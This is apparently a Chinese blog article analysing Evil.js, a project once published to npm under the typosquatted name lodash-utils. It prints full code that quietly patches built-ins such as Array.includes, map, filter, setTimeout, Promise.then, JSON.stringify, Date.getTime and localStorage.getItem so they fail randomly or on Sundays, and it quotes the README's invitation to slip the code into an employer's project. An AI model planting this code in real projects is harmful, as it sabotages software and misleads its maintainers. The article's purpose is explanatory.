Evil.js项目源码解读

目录
  • 引言
  • 源码解析
    • 立即执行函数
      • 为什么要用立即执行函数?
    • includes方法
    • map方法
    • filter方法
    • setTimeout
    • Promise.then
    • JSON.stringify
    • Date.getTime
    • localStorage.getItem
  • 用途

引言

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:

什么?黑心996公司要让你提桶跑路了?

想在离开前给你们的项目留点小 礼物 ?

偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • 当周日时,Array.map 方法的结果总是会丢失最后一个元素。
  • Array.filter 的结果有2%的概率丢失最后一个元素。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 在周日时有10%不会注册。
  • JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。

并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。

如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。

现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。

源码解析

作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。

立即执行函数

代码整体是一个立即执行函数,

(global => {
})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

如果你直接在函数外面声明变量,例如:const a = 123;那么你很可能就定义了全局变量,用window.a就获取到它的值了,这不是个好习惯。

所以使用立即执行函数,可以方便的定义局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 &amp;&amp; Math.random() &lt; 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}

用途

作者很聪明,有多种方式去改写原生行为。

但是除了作恶,我们还可以做更多有价值的事情,比如:

  • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  • 修改原生fetch,统计所有请求平均耗时。
  • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。

以上就是Evil.js项目源码解读的详细内容,更多关于Evil.js源码解读的资料请关注我们其它相关文章!

(0)

相关推荐

  • jQuery 1.5 源码解读 面向中高阶JSER

    几乎很难从jQuery分离其中的一部分功能.所以在这里我分享下应该读 jQuery 源码的一些成果,以及读源码的方法.啃代码是必须的. 1. 代码折叠是必须的. 因此必须在支持语法折叠的编辑器里打开源码. 根据折叠层次,我们可以很快知道: 所有 jQuery 的代码都在一个函数中: (function( window, undefined ) {// jQuery 代码 })(window); 这样可以避免内部对象污染全局.传入的参数1是 window, 参数2是 undefined , 加快j

  • node.js require() 源码解读

    2009年,Node.js 项目诞生,所有模块一律为 CommonJS 格式. 时至今日,Node.js 的模块仓库 npmjs.com ,已经存放了15万个模块,其中绝大部分都是 CommonJS 格式. 这种格式的核心就是 require 语句,模块通过它加载.学习 Node.js ,必学如何使用 require 语句.本文通过源码分析,详细介绍 require 语句的内部运行机制,帮你理解 Node.js 的模块机制. 一.require() 的基本用法 分析源码之前,先介绍 requir

  • JavaScript Title、alt提示(Tips)实现源码解读

    而对于图片标签img也有一个alt属性可以起到类似的作用.但很显然这种提示框太单调了,为此有人用JavaScript实现了漂亮的提示框效果,这种效果常用在WEB游戏中,其中下图的网易邮箱与迅雷影视页面就用到这种效果,虽然彼此实现效果有些差异,但整体实现思路是不变的.为了方便大家了解实现的细节,以方便定制自己想要的效果,我上网找了一段不错的源码,并对其进行了详细的注释,希望对大家有帮助. 含注释代码: 复制代码 代码如下: /************************************

  • 详解JavaScript之Array.reduce源码解读

    前言 reduce(...)方法对数组中的每个元素执行一个由您提供的reducer函数(升序执行),将其结果汇总为单个返回值(累计作用) 此方法接受两个参数:callback(...)(必选).initialValue(可选). callback(...)接受4个参数:Accumulator (acc) (累计器).Current Value (cur) (当前值).Current Index (idx) (当前索引).Source Array (src) (源数组). 注意点: 1.callb

  • Evil.js项目源码解读

    目录 引言 源码解析 立即执行函数 为什么要用立即执行函数? includes方法 map方法 filter方法 setTimeout Promise.then JSON.stringify Date.getTime localStorage.getItem 用途 引言 2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下: 什么?黑心996公司要让你提桶跑路了? 想在离开前给你们的项目留点小 礼物 ? 偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神

  • Vite项目自动添加eslint prettier源码解读

    目录 引言 使用 源码阅读 总结 引言 vite-pretty-lint库是一个为Vite创建的Vue或React项目初始化eslint和prettier的库. 该库的目的是为了让开发者在创建项目时,不需要手动配置eslint和prettier,而是通过vite-pretty-lint库来自动配置. 源码地址: vite-pretty-lint github1s 直接看 使用 根据vite-pretty-lint库的README.md,使用该库的只需要执行一行命令即可: // NPM npm i

  • [转]prototype 源码解读 超强推荐第1/3页

    复制代码 代码如下: Prototype is a JavaScript framework that aims to ease development of dynamic web applications. Featuring a unique, easy-to-use toolkit for class-driven development and the nicest Ajax library around, Prototype is quickly becoming the codeb

  • Ajax::prototype 源码解读

    AJAX之旅(1):由prototype_1.3.1进入javascript殿堂-类的初探  还是决定冠上ajax的头衔,毕竟很多人会用这个关键词搜索.虽然我认为这只是个炒作的概念,不过不得不承认ajax叫起来要方便多了.所以ajax的意思我就不详细解释了. 写这个教程的起因很简单:经过一段时间的ajax学习,有一些体会,并且越发认识到ajax技术的强大,所以决定记录下来,顺便也是对自己思路的整理.有关这个教程的后续,请关注http://www.x2design.net 前几年,javascri

  • Bootstrap源码解读按钮(5)

    源码解读Bootstrap按钮 按钮组 按钮组和下拉菜单组件一样,需要依赖于bootstrap.js.使用"btn-group"的容器,把多个按钮放到这个容器中.例如:<div class="btn-group">...</div> "btn-group"容器里除了可以使用<button>元素之外,还可以使用其他标签元素,比如<a>标签.不过这里面的标签元素需要带有类名".btn"

  • Bootstrap源码解读排版(1)

    源码解读Bootstrap排版 粗体 可以使用<b>和<strong>标签让文本直接加粗. 例如: <p>我在学习<strong>Bootstrap</strong></p> 源码 b, strong { font-weight: bold; } 斜体 使用标签<em>或<i>来实现. 例如: <p>我在学<i>Bootstrap</i>.</p> 强调相关的类

  • Bootstrap源码解读下拉菜单(4)

    源码解读Bootstrap下拉菜单 基本用法 在使用Bootstrap框架的下拉菜单时,必须调用Bootstrap框架提供的bootstrap.js文件.因为Bootstrap的组件交互效果都是依赖于jQuery库写的插件,所以在使用bootstrap.min.js之前一定要先加载jquery.min.js才会生效果. 使用方法如下: 1. 使用一个名为"dropdown"的容器包裹了整个下拉菜单元素:<div class="dropdown"><

  • jQuery源码解读之removeAttr()方法分析

    本文较为详细的分析了jQuery源码解读之removeAttr()方法.分享给大家供大家参考.具体分析如下: 扩展jQuery原型对象的方法: 复制代码 代码如下: jQuery.fn.extend({ //name,传入要DOM元素要移除的属性名.     removeAttr: function( name ) { //使用jQuery.fn对象,即jQuery原型对象的each方法遍历当前选择器选择的jQuery对象数组,并返回该jQuery对象以便链式调用.         return

随机推荐